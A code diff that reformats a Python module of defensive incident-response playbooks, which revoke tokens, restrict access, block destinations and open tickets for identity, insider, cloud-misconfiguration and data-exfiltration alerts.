- url="${IDP_BASE_URL}/policies/{{alert.policy_id}}/enable",
- method="POST"),
- investigate("inv", "Investigate CA bypass",
- focus="identity"),
- notify("n1", "Page identity team", "pagerduty",
- message="CA policy {{alert.policy_id}} re-enabled. Bypass observed.",
- service_env="PD_IDENTITY_KEY"),
- ticket("t1", "Open CA-bypass ticket",
- "P2", "CA bypass: {{alert.user}}"),
+ enrich("e1", "Enrich CA policy state", "alert.policy_id"),
+ http(
+ "restore", "Restore conditional access policy", url="${IDP_BASE_URL}/policies/{{alert.policy_id}}/enable", method="POST"
+ ),
+ investigate("inv", "Investigate CA bypass", focus="identity"),
+ notify(
+ "n1",
+ "Page identity team",
+ "pagerduty",
+ message="CA policy {{alert.policy_id}} re-enabled. Bypass observed.",
+ service_env="PD_IDENTITY_KEY",
+ ),
+ ticket("t1", "Open CA-bypass ticket", "P2", "CA bypass: {{alert.user}}"),
],
),
make_playbook(
@@ -632,25 +680,22 @@ def build_bec() -> list[dict[str, Any]]:
"Triggered when a refresh token is observed from a new ASN with no "
"interactive sign-in. Revokes refresh tokens and forces MFA."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["bec", "identity", "token-theft", "mitre.t1539"],
steps=[
- enrich("e1", "Enrich ASN reputation",
- "alert.source_asn"),
- http("revoke-rt", "Revoke refresh tokens",
- url="${IDP_BASE_URL}/users/{{alert.user}}/refresh-tokens",
- method="DELETE"),
- http("force-mfa", "Force MFA re-enrollment",
- url="${IDP_BASE_URL}/users/{{alert.user}}/mfa/reset",
- method="POST"),
- investigate("inv", "Investigate token-theft chain",
- focus="identity"),
- notify("n1", "Page on-call", "pagerduty",
- message="Refresh-token theft suspected for {{alert.user}}. "
- "Tokens revoked.",
- service_env="PD_SOC_KEY"),
- ticket("t1", "Open BEC token ticket",
- "P1", "BEC token theft: {{alert.user}}"),
+ enrich("e1", "Enrich ASN reputation", "alert.source_asn"),
+ http("revoke-rt", "Revoke refresh tokens", url="${IDP_BASE_URL}/users/{{alert.user}}/refresh-tokens", method="DELETE"),
+ http("force-mfa", "Force MFA re-enrollment", url="${IDP_BASE_URL}/users/{{alert.user}}/mfa/reset", method="POST"),
+ investigate("inv", "Investigate token-theft chain", focus="identity"),
+ notify(
+ "n1",
+ "Page on-call",
+ "pagerduty",
+ message="Refresh-token theft suspected for {{alert.user}}. " "Tokens revoked.",
+ service_env="PD_SOC_KEY",
+ ),
+ ticket("t1", "Open BEC token ticket", "P1", "BEC token theft: {{alert.user}}"),
],
),
]
@@ -666,47 +711,47 @@ def build_insider_risk() -> list[dict[str, Any]]:
"Triggered when a single user downloads >N files from a sensitive "
"store in <T window. Reduces user permissions and notifies manager."
),
- category=cat, severity=["high"],
+ category=cat,
+ severity=["high"],
tags=["insider", "dlp", "mitre.t1530"],
steps=[
- enrich("e1", "Enrich user role + tenure",
- "alert.user"),
- http("readonly", "Set sensitive-store ACL to read-only",
- url="${SAAS_URL}/acl/{{alert.user}}/readonly",
- method="POST"),
- investigate("inv", "Investigate access pattern",
- focus="identity"),
- notify("n1", "Notify user's manager", "email",
- message="High-volume download by {{alert.user}}. Review needed.",
- webhook_env="EMAIL_WEBHOOK"),
- ticket("t1", "Open insider-risk ticket",
- "P3", "Mass download: {{alert.user}}"),
+ enrich("e1", "Enrich user role + tenure", "alert.user"),
+ http("readonly", "Set sensitive-store ACL to read-only", url="${SAAS_URL}/acl/{{alert.user}}/readonly", method="POST"),
+ investigate("inv", "Investigate access pattern", focus="identity"),
+ notify(
+ "n1",
+ "Notify user's manager",
+ "email",
+ message="High-volume download by {{alert.user}}. Review needed.",
+ webhook_env="EMAIL_WEBHOOK",
+ ),
+ ticket("t1", "Open insider-risk ticket", "P3", "Mass download: {{alert.user}}"),
],
),
make_playbook(
pid="insider-resignation-data-access-v1",
name="Insider: Resignation + Sensitive Access",
- description=(
- "Triggered when a user with a recent resignation flag accesses "
- "sensitive data. Read-only mode and HR audit."
- ),
- category=cat, severity=["medium", "high"],
+ description=("Triggered when a user with a recent resignation flag accesses " "sensitive data. Read-only mode and HR audit."),
+ category=cat,
+ severity=["medium", "high"],
tags=["insider", "hr", "mitre.t1530"],
steps=[
- enrich("e1", "Enrich HR resignation status",
- "alert.user"),
- http("readonly", "Force read-only on sensitive scopes",
- url="${SAAS_URL}/acl/{{alert.user}}/scopes/sensitive/readonly",
- method="POST"),
- investigate("inv", "Investigate exit-risk pattern",
- focus="identity"),
- notify("n1", "Notify HR + manager", "slack",
- message="Resigning user {{alert.user}} accessed sensitive data. "
- "Read-only enforced.",
- webhook_env="SLACK_HR_WEBHOOK"),
- ticket("t1", "Open exit-risk ticket",
- "P2", "Exit risk: {{alert.user}}",
- queue="hr"),
+ enrich("e1", "Enrich HR resignation status", "alert.user"),
+ http(
+ "readonly",
+ "Force read-only on sensitive scopes",
+ url="${SAAS_URL}/acl/{{alert.user}}/scopes/sensitive/readonly",
+ method="POST",
+ ),
+ investigate("inv", "Investigate exit-risk pattern", focus="identity"),
+ notify(
+ "n1",
+ "Notify HR + manager",
+ "slack",
+ message="Resigning user {{alert.user}} accessed sensitive data. " "Read-only enforced.",
+ webhook_env="SLACK_HR_WEBHOOK",
+ ),
+ ticket("t1", "Open exit-risk ticket", "P2", "Exit risk: {{alert.user}}", queue="hr"),
],
),
make_playbook(
@@ -716,21 +761,25 @@ def build_insider_risk() -> list[dict[str, Any]]:
"Triggered when a privileged account performs actions outside its "
"approved JIT window. Revokes privilege and pages HR-Sec."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["insider", "privilege", "mitre.t1078.004"],
steps=[
- http("revoke-priv", "Revoke privileged role",
- url="${IDP_BASE_URL}/users/{{alert.user}}/roles/{{alert.role}}",
- method="DELETE"),
- investigate("inv", "Investigate privilege misuse",
- focus="identity"),
- notify("n1", "Page HR-Sec", "pagerduty",
- message="Privilege misuse by {{alert.user}} ({{alert.role}}). "
- "Role revoked.",
- service_env="PD_HRSEC_KEY"),
- ticket("t1", "Open privilege-misuse ticket",
- "P1", "Privilege misuse: {{alert.user}}",
- queue="hr"),
+ http(
+ "revoke-priv",
+ "Revoke privileged role",
+ url="${IDP_BASE_URL}/users/{{alert.user}}/roles/{{alert.role}}",
+ method="DELETE",
+ ),
+ investigate("inv", "Investigate privilege misuse", focus="identity"),
+ notify(
+ "n1",
+ "Page HR-Sec",
+ "pagerduty",
+ message="Privilege misuse by {{alert.user}} ({{alert.role}}). " "Role revoked.",
+ service_env="PD_HRSEC_KEY",
+ ),
+ ticket("t1", "Open privilege-misuse ticket", "P1", "Privilege misuse: {{alert.user}}", queue="hr"),
],
),
make_playbook(
@@ -740,45 +789,43 @@ def build_insider_risk() -> list[dict[str, Any]]:
"Triggered when a developer pushes private source to a personal "
"remote or pastebin-like target. Blocks dest, pages eng-leadership."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["insider", "source-code", "mitre.t1567"],
steps=[
- enrich("e1", "Enrich destination",
- "alert.dst_host"),
- http("block-dest", "Block destination at proxy",
- url="${PROXY_URL}/policy/block",
- method="POST",
- body_template='{"host":"{{alert.dst_host}}","reason":"src-exfil"}'),
- investigate("inv", "Investigate exfil chain",
- focus="forensics"),
- notify("n1", "Page eng-leadership", "pagerduty",
- message="Source-code exfil suspected from {{alert.user}} "
- "to {{alert.dst_host}}.",
- service_env="PD_ENG_LEAD_KEY"),
- ticket("t1", "Open exfil ticket",
- "P1", "Source-code exfil: {{alert.user}}"),
+ enrich("e1", "Enrich destination", "alert.dst_host"),
+ http(
+ "block-dest",
+ "Block destination at proxy",
+ url="${PROXY_URL}/policy/block",
+ method="POST",
+ body_template='{"host":"{{alert.dst_host}}","reason":"src-exfil"}',
+ ),
+ investigate("inv", "Investigate exfil chain", focus="forensics"),
+ notify(
+ "n1",
+ "Page eng-leadership",
+ "pagerduty",
+ message="Source-code exfil suspected from {{alert.user}} " "to {{alert.dst_host}}.",
+ service_env="PD_ENG_LEAD_KEY",
+ ),
+ ticket("t1", "Open exfil ticket", "P1", "Source-code exfil: {{alert.user}}"),
],
),
make_playbook(
pid="insider-after-hours-access-v1",
name="Insider: Anomalous After-Hours Access",
description=(
- "Triggered when a user accesses sensitive systems outside their "
- "normal pattern. Step-up MFA and log for HR review."
+ "Triggered when a user accesses sensitive systems outside their " "normal pattern. Step-up MFA and log for HR review."
),
- category=cat, severity=["medium"],
+ category=cat,
+ severity=["medium"],
tags=["insider", "anomaly", "mitre.t1078"],
steps=[
- enrich("e1", "Enrich user normal pattern",
- "alert.user"),
- http("step-up", "Force MFA step-up",
- url="${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge",
- method="POST"),
- investigate("inv", "Score anomaly likelihood",
- focus="identity"),
- ticket("t1", "Open after-hours review",
- "P4", "After-hours access: {{alert.user}}",
- queue="hr"),
+ enrich("e1", "Enrich user normal pattern", "alert.user"),
+ http("step-up", "Force MFA step-up", url="${IDP_BASE_URL}/users/{{alert.user}}/factors/challenge", method="POST"),
+ investigate("inv", "Score anomaly likelihood", focus="identity"),
+ ticket("t1", "Open after-hours review", "P4", "After-hours access: {{alert.user}}", queue="hr"),
],
),
]
@@ -794,45 +841,42 @@ def build_cloud_misconfig() -> list[dict[str, Any]]:
"Triggered by `s3-public-bucket` detection. Sets bucket private, "
"enables Block Public Access, and audits last 7d access logs."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["cloud", "aws", "s3", "mitre.t1530"],
steps=[
- http("private", "Set bucket private",
- url="${AWS_URL}/s3/{{alert.bucket}}/acl/private",
- method="PUT"),
- http("bpa", "Enable Block Public Access",
- url="${AWS_URL}/s3/{{alert.bucket}}/block-public-access",
- method="PUT"),
- investigate("inv", "Audit last 7d S3 access",
- focus="cloud"),
- notify("n1", "Notify cloud team", "slack",
- message="S3 {{alert.bucket}} re-privatized.",
- webhook_env="SLACK_CLOUD_WEBHOOK"),
- ticket("t1", "Open cloud ticket",
- "P2", "S3 public: {{alert.bucket}}"),
+ http("private", "Set bucket private", url="${AWS_URL}/s3/{{alert.bucket}}/acl/private", method="PUT"),
+ http("bpa", "Enable Block Public Access", url="${AWS_URL}/s3/{{alert.bucket}}/block-public-access", method="PUT"),
+ investigate("inv", "Audit last 7d S3 access", focus="cloud"),
+ notify("n1", "Notify cloud team", "slack", message="S3 {{alert.bucket}} re-privatized.", webhook_env="SLACK_CLOUD_WEBHOOK"),
+ ticket("t1", "Open cloud ticket", "P2", "S3 public: {{alert.bucket}}"),
],
),
make_playbook(
pid="cloud-iam-overpriv-v1",
name="Cloud: Over-Privileged IAM — Detach & Review",
description=(
- "Triggered when IAM Access Analyzer flags an over-privileged role. "
- "Detaches the policy and opens an owner-review ticket."
+ "Triggered when IAM Access Analyzer flags an over-privileged role. " "Detaches the policy and opens an owner-review ticket."
),
- category=cat, severity=["medium", "high"],
+ category=cat,
+ severity=["medium", "high"],
tags=["cloud", "aws", "iam", "mitre.t1078.004"],
steps=[
- http("detach", "Detach over-privileged policy",
- url="${AWS_URL}/iam/{{alert.role}}/policies/{{alert.policy}}",
- method="DELETE"),
- investigate("inv", "Investigate access usage",
- focus="cloud"),
- notify("n1", "Notify role owner", "slack",
- message="Policy {{alert.policy}} detached from {{alert.role}}. "
- "Re-add only the minimum needed.",
- webhook_env="SLACK_CLOUD_WEBHOOK"),
- ticket("t1", "Owner-review ticket",
- "P3", "IAM over-priv: {{alert.role}}"),
+ http(
+ "detach",
+ "Detach over-privileged policy",
+ url="${AWS_URL}/iam/{{alert.role}}/policies/{{alert.policy}}",
+ method="DELETE",
+ ),
+ investigate("inv", "Investigate access usage", focus="cloud"),
+ notify(
+ "n1",
+ "Notify role owner",
+ "slack",
+ message="Policy {{alert.policy}} detached from {{alert.role}}. " "Re-add only the minimum needed.",
+ webhook_env="SLACK_CLOUD_WEBHOOK",
+ ),
+ ticket("t1", "Owner-review ticket", "P3", "IAM over-priv: {{alert.role}}"),
],
),
make_playbook(
@@ -842,67 +886,55 @@ def build_cloud_misconfig() -> list[dict[str, Any]]:
"Triggered when a long-lived access key is found in a public repo "
"or paste site. Rotates the key and scans for downstream use."
),
- category=cat, severity=["critical"],
+ category=cat,
+ severity=["critical"],
tags=["cloud", "secrets", "mitre.t1552.001"],
steps=[
- http("disable", "Disable leaked key",
- url="${AWS_URL}/iam/users/{{alert.user}}/keys/{{alert.key_id}}",
- method="DELETE"),
- http("rotate", "Rotate access key",
- url="${AWS_URL}/iam/users/{{alert.user}}/keys/rotate",
- method="POST"),
- investigate("inv", "Find downstream use of key",
- focus="cloud"),
- notify("n1", "Page cloud-sec", "pagerduty",
- message="Leaked key {{alert.key_id}} disabled and rotated.",
- service_env="PD_CLOUD_KEY"),
- ticket("t1", "Open key-leak ticket",
- "P1", "Leaked key: {{alert.key_id}}"),
+ http("disable", "Disable leaked key", url="${AWS_URL}/iam/users/{{alert.user}}/keys/{{alert.key_id}}", method="DELETE"),
+ http("rotate", "Rotate access key", url="${AWS_URL}/iam/users/{{alert.user}}/keys/rotate", method="POST"),
+ investigate("inv", "Find downstream use of key", focus="cloud"),
+ notify(
+ "n1",
+ "Page cloud-sec",
+ "pagerduty",
+ message="Leaked key {{alert.key_id}} disabled and rotated.",
+ service_env="PD_CLOUD_KEY",
+ ),
+ ticket("t1", "Open key-leak ticket", "P1", "Leaked key: {{alert.key_id}}"),
],
),
make_playbook(
pid="cloud-mfa-disabled-root-v1",
name="Cloud: Root Account MFA Disabled",
- description=(
- "Triggered when root MFA is disabled. Re-enables MFA and pages "
- "the cloud-platform owner immediately."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered when root MFA is disabled. Re-enables MFA and pages " "the cloud-platform owner immediately."),
+ category=cat,
+ severity=["critical"],
tags=["cloud", "iam", "mfa", "mitre.t1556"],
steps=[
- http("reenable-mfa", "Re-enable root MFA",
- url="${AWS_URL}/iam/root/mfa/enable",
- method="POST"),
- investigate("inv", "Identify actor and intent",
- focus="cloud"),
- notify("n1", "Page platform-owner", "pagerduty",
- message="Root MFA was disabled — re-enabled. Investigate "
- "{{alert.actor}}.",
- service_env="PD_PLATFORM_KEY"),
- ticket("t1", "Open root-MFA ticket",
- "P1", "Root MFA disabled by {{alert.actor}}"),
+ http("reenable-mfa", "Re-enable root MFA", url="${AWS_URL}/iam/root/mfa/enable", method="POST"),
+ investigate("inv", "Identify actor and intent", focus="cloud"),
+ notify(
+ "n1",
+ "Page platform-owner",
+ "pagerduty",
+ message="Root MFA was disabled — re-enabled. Investigate " "{{alert.actor}}.",
+ service_env="PD_PLATFORM_KEY",
+ ),
+ ticket("t1", "Open root-MFA ticket", "P1", "Root MFA disabled by {{alert.actor}}"),
],
),
make_playbook(
pid="cloud-cloudtrail-disabled-v1",
name="Cloud: CloudTrail Disabled — Re-enable",
- description=(
- "Triggered when a CloudTrail trail is stopped. Restarts trail "
- "and audits API calls in the dark window."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered when a CloudTrail trail is stopped. Restarts trail " "and audits API calls in the dark window."),
+ category=cat,
+ severity=["critical"],
tags=["cloud", "aws", "logging", "mitre.t1562.008"],
steps=[
- http("start", "Re-enable CloudTrail",
- url="${AWS_URL}/cloudtrail/{{alert.trail}}/start",
- method="POST"),
- investigate("inv", "Audit dark-window calls",
- focus="cloud"),
- notify("n1", "Page cloud-sec", "pagerduty",
- message="CloudTrail {{alert.trail}} restarted.",
- service_env="PD_CLOUD_KEY"),
- ticket("t1", "Open CloudTrail ticket",
- "P1", "CloudTrail disabled: {{alert.trail}}"),
+ http("start", "Re-enable CloudTrail", url="${AWS_URL}/cloudtrail/{{alert.trail}}/start", method="POST"),
+ investigate("inv", "Audit dark-window calls", focus="cloud"),
+ notify("n1", "Page cloud-sec", "pagerduty", message="CloudTrail {{alert.trail}} restarted.", service_env="PD_CLOUD_KEY"),
+ ticket("t1", "Open CloudTrail ticket", "P1", "CloudTrail disabled: {{alert.trail}}"),
],
),
make_playbook(
@@ -912,108 +944,112 @@ def build_cloud_misconfig() -> list[dict[str, Any]]:
"Triggered when a security group rule allows ingress from 0.0.0.0/0 "
"to a sensitive port. Closes the rule and audits the change."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["cloud", "aws", "network", "mitre.t1190"],
steps=[
- http("close", "Remove 0.0.0.0/0 ingress rule",
- url="${AWS_URL}/sg/{{alert.sg}}/ingress/{{alert.rule_id}}",
- method="DELETE"),
- investigate("inv", "Audit who made the change",
- focus="cloud"),
- notify("n1", "Notify cloud team", "slack",
- message="SG {{alert.sg}} 0.0.0.0/0 ingress removed.",
- webhook_env="SLACK_CLOUD_WEBHOOK"),
- ticket("t1", "Open SG ticket",
- "P2", "SG open: {{alert.sg}}"),
+ http("close", "Remove 0.0.0.0/0 ingress rule", url="${AWS_URL}/sg/{{alert.sg}}/ingress/{{alert.rule_id}}", method="DELETE"),
+ investigate("inv", "Audit who made the change", focus="cloud"),
+ notify(
+ "n1",
+ "Notify cloud team",
+ "slack",
+ message="SG {{alert.sg}} 0.0.0.0/0 ingress removed.",
+ webhook_env="SLACK_CLOUD_WEBHOOK",
+ ),
+ ticket("t1", "Open SG ticket", "P2", "SG open: {{alert.sg}}"),
],
),
make_playbook(
pid="cloud-rds-public-v1",
name="Cloud: RDS Instance Publicly Accessible",
- description=(
- "Triggered when an RDS instance toggles to publicly accessible. "
- "Removes public access and audits."
- ),
- category=cat, severity=["high", "critical"],
+ description=("Triggered when an RDS instance toggles to publicly accessible. " "Removes public access and audits."),
+ category=cat,
+ severity=["high", "critical"],
tags=["cloud", "aws", "rds", "mitre.t1190"],
steps=[
- http("private", "Disable RDS public access",
- url="${AWS_URL}/rds/{{alert.instance}}/public/disable",
- method="POST"),
- investigate("inv", "Audit RDS access window",
- focus="cloud"),
- notify("n1", "Notify cloud team", "slack",
- message="RDS {{alert.instance}} no longer public.",
- webhook_env="SLACK_CLOUD_WEBHOOK"),
- ticket("t1", "Open RDS-public ticket",
- "P1", "RDS public: {{alert.instance}}"),
+ http("private", "Disable RDS public access", url="${AWS_URL}/rds/{{alert.instance}}/public/disable", method="POST"),
+ investigate("inv", "Audit RDS access window", focus="cloud"),
+ notify(
+ "n1",
+ "Notify cloud team",
+ "slack",
+ message="RDS {{alert.instance}} no longer public.",
+ webhook_env="SLACK_CLOUD_WEBHOOK",
+ ),
+ ticket("t1", "Open RDS-public ticket", "P1", "RDS public: {{alert.instance}}"),
],
),
make_playbook(
pid="cloud-gke-anonymous-v1",
name="Cloud: GKE Cluster Anonymous Auth",
description=(
- "Triggered when GKE cluster is configured to allow anonymous "
- "Kubernetes API access. Disables anonymous and audits."
+ "Triggered when GKE cluster is configured to allow anonymous " "Kubernetes API access. Disables anonymous and audits."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["cloud", "gcp", "kubernetes", "mitre.t1190"],
steps=[
- http("disable-anon", "Disable anonymous auth",
- url="${GCP_URL}/gke/{{alert.cluster}}/anonymous/disable",
- method="POST"),
- investigate("inv", "Audit anonymous-window calls",
- focus="cloud"),
- notify("n1", "Page platform team", "pagerduty",
- message="GKE {{alert.cluster}} anonymous disabled.",
- service_env="PD_PLATFORM_KEY"),
- ticket("t1", "Open GKE-anon ticket",
- "P1", "GKE anonymous: {{alert.cluster}}"),
+ http("disable-anon", "Disable anonymous auth", url="${GCP_URL}/gke/{{alert.cluster}}/anonymous/disable", method="POST"),
+ investigate("inv", "Audit anonymous-window calls", focus="cloud"),
+ notify(
+ "n1",
+ "Page platform team",
+ "pagerduty",
+ message="GKE {{alert.cluster}} anonymous disabled.",
+ service_env="PD_PLATFORM_KEY",
+ ),
+ ticket("t1", "Open GKE-anon ticket", "P1", "GKE anonymous: {{alert.cluster}}"),
],
),
make_playbook(
pid="cloud-azure-blob-public-v1",
name="Cloud: Azure Blob Container Public",
- description=(
- "Triggered when an Azure Storage container is set to public. "
- "Reverts to private and audits."
- ),
- category=cat, severity=["high"],
+ description=("Triggered when an Azure Storage container is set to public. " "Reverts to private and audits."),
+ category=cat,
+ severity=["high"],
tags=["cloud", "azure", "storage", "mitre.t1530"],
steps=[
- http("private", "Set container private",
- url="${AZURE_URL}/storage/{{alert.account}}/{{alert.container}}/private",
- method="POST"),
- investigate("inv", "Audit blob access",
- focus="cloud"),
- notify("n1", "Notify cloud team", "slack",
- message="Azure {{alert.container}} re-privatized.",
- webhook_env="SLACK_CLOUD_WEBHOOK"),
- ticket("t1", "Open Azure ticket",
- "P2", "Azure blob public: {{alert.container}}"),
+ http(
+ "private",
+ "Set container private",
+ url="${AZURE_URL}/storage/{{alert.account}}/{{alert.container}}/private",
+ method="POST",
+ ),
+ investigate("inv", "Audit blob access", focus="cloud"),
+ notify(
+ "n1",
+ "Notify cloud team",
+ "slack",
+ message="Azure {{alert.container}} re-privatized.",
+ webhook_env="SLACK_CLOUD_WEBHOOK",
+ ),
+ ticket("t1", "Open Azure ticket", "P2", "Azure blob public: {{alert.container}}"),
],
),
make_playbook(
pid="cloud-cross-account-trust-v1",
name="Cloud: Unexpected Cross-Account Trust",
- description=(
- "Triggered when a role trust policy adds an external account ID "
- "not on the allow-list. Revokes and audits."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered when a role trust policy adds an external account ID " "not on the allow-list. Revokes and audits."),
+ category=cat,
+ severity=["critical"],
tags=["cloud", "aws", "iam", "mitre.t1078.004"],
steps=[
- http("revoke-trust", "Remove cross-account trust",
- url="${AWS_URL}/iam/{{alert.role}}/trust/{{alert.external_account}}",
- method="DELETE"),
- investigate("inv", "Audit assumptions in dark window",
- focus="cloud"),
- notify("n1", "Page cloud-sec", "pagerduty",
- message="Cross-account trust to {{alert.external_account}} removed "
- "from {{alert.role}}.",
- service_env="PD_CLOUD_KEY"),
- ticket("t1", "Open cross-account ticket",
- "P1", "Cross-account trust: {{alert.role}}"),
+ http(
+ "revoke-trust",
+ "Remove cross-account trust",
+ url="${AWS_URL}/iam/{{alert.role}}/trust/{{alert.external_account}}",
+ method="DELETE",
+ ),
+ investigate("inv", "Audit assumptions in dark window", focus="cloud"),
+ notify(
+ "n1",
+ "Page cloud-sec",
+ "pagerduty",
+ message="Cross-account trust to {{alert.external_account}} removed " "from {{alert.role}}.",
+ service_env="PD_CLOUD_KEY",
+ ),
+ ticket("t1", "Open cross-account ticket", "P1", "Cross-account trust: {{alert.role}}"),
],
),
]
@@ -1029,22 +1065,27 @@ def build_data_exfil() -> list[dict[str, Any]]:
"Triggered when a host uploads >X GB to a non-corporate destination "
"in a short window. Blocks destination and investigates."
),
- category=cat, severity=["high", "critical"],
+ category=cat,
+ severity=["high", "critical"],
tags=["exfil", "dlp", "mitre.t1567"],
steps=[
enrich("e1", "Enrich destination", "alert.dst_host"),
- http("block", "Block destination at proxy",
- url="${PROXY_URL}/policy/block",
- method="POST",
- body_template='{"host":"{{alert.dst_host}}","reason":"large-upload"}'),
- investigate("inv", "Investigate exfil pattern",
- focus="forensics"),
- notify("n1", "Notify SOC", "slack",
- message="Large upload {{alert.bytes_out}} from {{alert.host}} "
- "to {{alert.dst_host}} blocked.",
- webhook_env="SLACK_SOC_WEBHOOK"),
- ticket("t1", "Open exfil ticket",
- "P2", "Large upload: {{alert.host}}"),
+ http(
+ "block",
+ "Block destination at proxy",
+ url="${PROXY_URL}/policy/block",
+ method="POST",
+ body_template='{"host":"{{alert.dst_host}}","reason":"large-upload"}',
+ ),
+ investigate("inv", "Investigate exfil pattern", focus="forensics"),
+ notify(
+ "n1",
+ "Notify SOC",
+ "slack",
+ message="Large upload {{alert.bytes_out}} from {{alert.host}} " "to {{alert.dst_host}} blocked.",
+ webhook_env="SLACK_SOC_WEBHOOK",
+ ),
+ ticket("t1", "Open exfil ticket", "P2", "Large upload: {{alert.host}}"),
],
),
make_playbook(
@@ -1054,52 +1095,55 @@ def build_data_exfil() -> list[dict[str, Any]]:
"Triggered when a host uploads an archive to an external dest. "
"Holds the file in DLP review queue and notifies user's manager."
),
- category=cat, severity=["medium", "high"],
+ category=cat,
+ severity=["medium", "high"],
tags=["exfil", "dlp", "archive"],
steps=[
- enrich("e1", "Enrich destination",
- "alert.dst_host"),
- http("dlp-review", "Send to DLP review queue",
- url="${DLP_URL}/review",
- method="POST",
- body_template=('{"host":"{{alert.host}}",'
- '"file":"{{alert.file_name}}",'
- '"dst":"{{alert.dst_host}}"}')),
- investigate("inv", "Investigate archive content",
- focus="forensics"),
- notify("n1", "Notify user's manager", "email",
- message="Archive upload by {{alert.user}} to {{alert.dst_host}} "
- "queued for DLP review.",
- webhook_env="EMAIL_WEBHOOK"),
- ticket("t1", "Open DLP ticket",
- "P3", "Archive egress: {{alert.user}}"),
+ enrich("e1", "Enrich destination", "alert.dst_host"),
+ http(
+ "dlp-review",
+ "Send to DLP review queue",
+ url="${DLP_URL}/review",
+ method="POST",
+ body_template=('{"host":"{{alert.host}}",' '"file":"{{alert.file_name}}",' '"dst":"{{alert.dst_host}}"}'),
+ ),
+ investigate("inv", "Investigate archive content", focus="forensics"),
+ notify(
+ "n1",
+ "Notify user's manager",
+ "email",
+ message="Archive upload by {{alert.user}} to {{alert.dst_host}} " "queued for DLP review.",
+ webhook_env="EMAIL_WEBHOOK",
+ ),
+ ticket("t1", "Open DLP ticket", "P3", "Archive egress: {{alert.user}}"),
],
),
make_playbook(
pid="exfil-dns-tunneling-v1",
name="Exfil: DNS Tunneling",
- description=(
- "Triggered by high-entropy DNS query length on a host. Sinkholes "
- "the suspect domain and isolates the host."
- ),
- category=cat, severity=["critical"],
+ description=("Triggered by high-entropy DNS query length on a host. Sinkholes " "the suspect domain and isolates the host."),
+ category=cat,
+ severity=["critical"],
tags=["exfil", "dns", "mitre.t1071.004"],
steps=[
- enrich("e1", "Enrich domain reputation",
- "alert.dns_query"),
- http("sinkhole", "Sinkhole domain at resolver",
- url="${DNS_URL}/sinkhole",
- method="POST",
- body_template='{"domain":"{{alert.dns_query}}"}'),
+ enrich("e1", "Enrich domain reputation", "alert.dns_query"),
+ http(
+ "sinkhole",
+ "Sinkhole domain at resolver",
+ url="${DNS_URL}/sinkhole",
+ method="POST",
+ body_template='{"domain":"{{alert.dns_query}}"}',
+ ),
isolate_host("iso", "Isolate beaconing host"),
- investigate("inv", "Investigate DNS tunneling",
- focus="forensics"),
- notify("n1", "Page on-call", "pagerduty",
- message="DNS tunneling {{alert.host}} -> {{alert.dns_query}} "
- "sinkholed and isolated.",
- service_env="PD_SOC_KEY"),
- ticket("t1", "Open DNS-tunnel ticket",
- "P1", "DNS tunneling: {{alert.host}}"),
+ investigate("inv", "Investigate DNS tunneling", focus="forensics"),
+ notify(
+ "n1",
+ "Page on-call",
+ "pagerduty",
+ message="DNS tunneling {{alert.host}} -> {{alert.dns_query}} " "sinkholed and isolated.",
+ service_env="PD_SOC_KEY",
+ ),
+ ticket("t1", "Open DNS-tunnel ticket", "P1", "DNS tunneling: {{alert.host}}"),
],
),
make_playbook(
@@ -1109,44 +1153,48 @@ def build_data_exfil() -> list[dict[str, Any]]:
"Triggered when corporate data uploads to a personal cloud "
"(personal Drive, Dropbox, iCloud). Blocks dest, manager notify."
),
- category=cat, severity=["medium", "high"],
+ category=cat,
+ severity=["medium", "high"],
tags=["exfil", "saas", "mitre.t1567.002"],
steps=[
- http("block", "Block destination at proxy",
- url="${PROXY_URL}/policy/block",
- method="POST",
- body_template='{"host":"{{alert.dst_host}}","reason":"personal-cloud"}'),
- investigate("inv", "Investigate access pattern",
- focus="identity"),
- notify("n1", "Notify user's manager", "email",
- message="Personal-cloud upload by {{alert.user}} to "
- "{{alert.dst_host}} blocked.",
- webhook_env="EMAIL_WEBHOOK"),
- ticket("t1", "Open exfil ticket",
- "P3", "Personal cloud: {{alert.user}}"),
+ http(
+ "block",
+ "Block destination at proxy",
+ url="${PROXY_URL}/policy/block",
+ method="POST",
+ body_template='{"host":"{{alert.dst_host}}","reason":"personal-cloud"}',
+ ),
+ investigate("inv", "Investigate access pattern", focus="identity"),
+ notify(
+ "n1",
+ "Notify user's manager",
+ "email",
+ message="Personal-cloud upload by {{alert.user}} to " "{{alert.dst_host}} blocked.",
+ webhook_env="EMAIL_WEBHOOK",
+ ),
+ ticket("t1", "Open exfil ticket", "P3", "Personal cloud: {{alert.user}}"),
],
),
make_playbook(
pid="exfil-removable-media-v1",
name="Exfil: Sensitive Data to Removable Media",
description=(
- "Triggered when a sensitive file is written to a USB volume. "
- "Blocks USB writes via EDR policy and opens a ticket."
+ "Triggered when a sensitive file is written to a USB volume. " "Blocks USB writes via EDR policy and opens a ticket."
),
- category=cat, severity=["medium"],
+ category=cat,
+ severity=["medium"],
tags=["exfil", "endpoint", "usb", "mitre.t1052"],
steps=[
- http("block-usb", "Push USB write-block to host",
- url="${EDR_URL}/hosts/{{alert.host}}/policy/usb-readonly",
- method="POST"),
- investigate("inv", "Investigate file sensitivity",
- focus="forensics"),
- notify("n1", "Notify user's manager", "email",
- message="Sensitive write to USB by {{alert.user}}. "
- "Host USB now read-only.",
- webhook_env="EMAIL_WEBHOOK"),
- ticket("t1", "Open USB-exfil ticket",
- "P3", "USB exfil: {{alert.user}}"),
+ http("block-usb", "Push USB write-block to host", url="${EDR_URL}/hosts/{{alert.host}}/policy/usb-readonly", method="POST"),
+ investigate("inv", "Investigate file sensitivity", focus="forensics"),
+ notify(
+ "n1",
+ "Notify user's manager",
+ "email",
+ message="Sensitive write to USB by {{alert.user}}. " "Host USB now read-only.",
+ webhook_env="EMAIL_WEBHOOK",
+ ),
+ ticket("t1", "Open USB-exfil ticket", "P3", "USB exfil: {{alert.user}}"),
],
),
]
